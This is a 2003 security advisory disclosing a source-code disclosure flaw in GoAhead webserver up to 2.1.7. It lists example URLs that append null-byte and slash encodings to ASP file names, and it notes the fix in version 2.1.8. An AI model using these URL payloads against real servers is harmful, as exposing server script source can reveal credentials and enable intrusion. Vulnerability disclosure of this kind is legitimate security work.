Server side scripts viewing in Goahead webserver <= 2.1.7
#######################################################################
Luigi Auriemma
Application: Goahead webserver
http://12.129.4.11/webserver/webserver.htm
Versions: <= 2.1.7
Platforms: multiplatform
Bug: source code viewing of server side script files
Risk: low/medium
Exploitation: easy via browser
Date: 17 Dec 2003
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxxx
web: http://aluigi.altervista.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Goahead webserver is an embedded OpenSource server that can be build on
a lot of systems (CE, Ecos, GNU/Linux, Lynx, MacOS, NW, QNX4, VXWORKS,
Win32 and others).
Then it is supported by a lot of companies that use it for their
projects and it is also used like "base" for other webservers,
furthermore it has been developed for be very tiny and to run on
embedded systems.
#######################################################################
======
2) Bug
======
Goahead webserver supports the usage of ASP files that are "executed"
when called by the client's browser.
However exists a vulnerability letting the client to view the source
code of each ASP file (or other server side scripts excluded the
cgi-bin files) simply adding some chars or URL encoded chars after the
name of the requested file:
%00, %2f, %5c, / and \
#######################################################################
===========
3) The Code
===========
http://server/asp.asp%00
http://server/asp.asp%2f
http://server/asp.asp%5c
http://server/asp.asp/
http://server/asp.asp\
#######################################################################
======
4) Fix
======
Version 2.1.8 released the 8th Dec 2003
#######################################################################
---
Luigi Auriemma
http://aluigi.altervista.org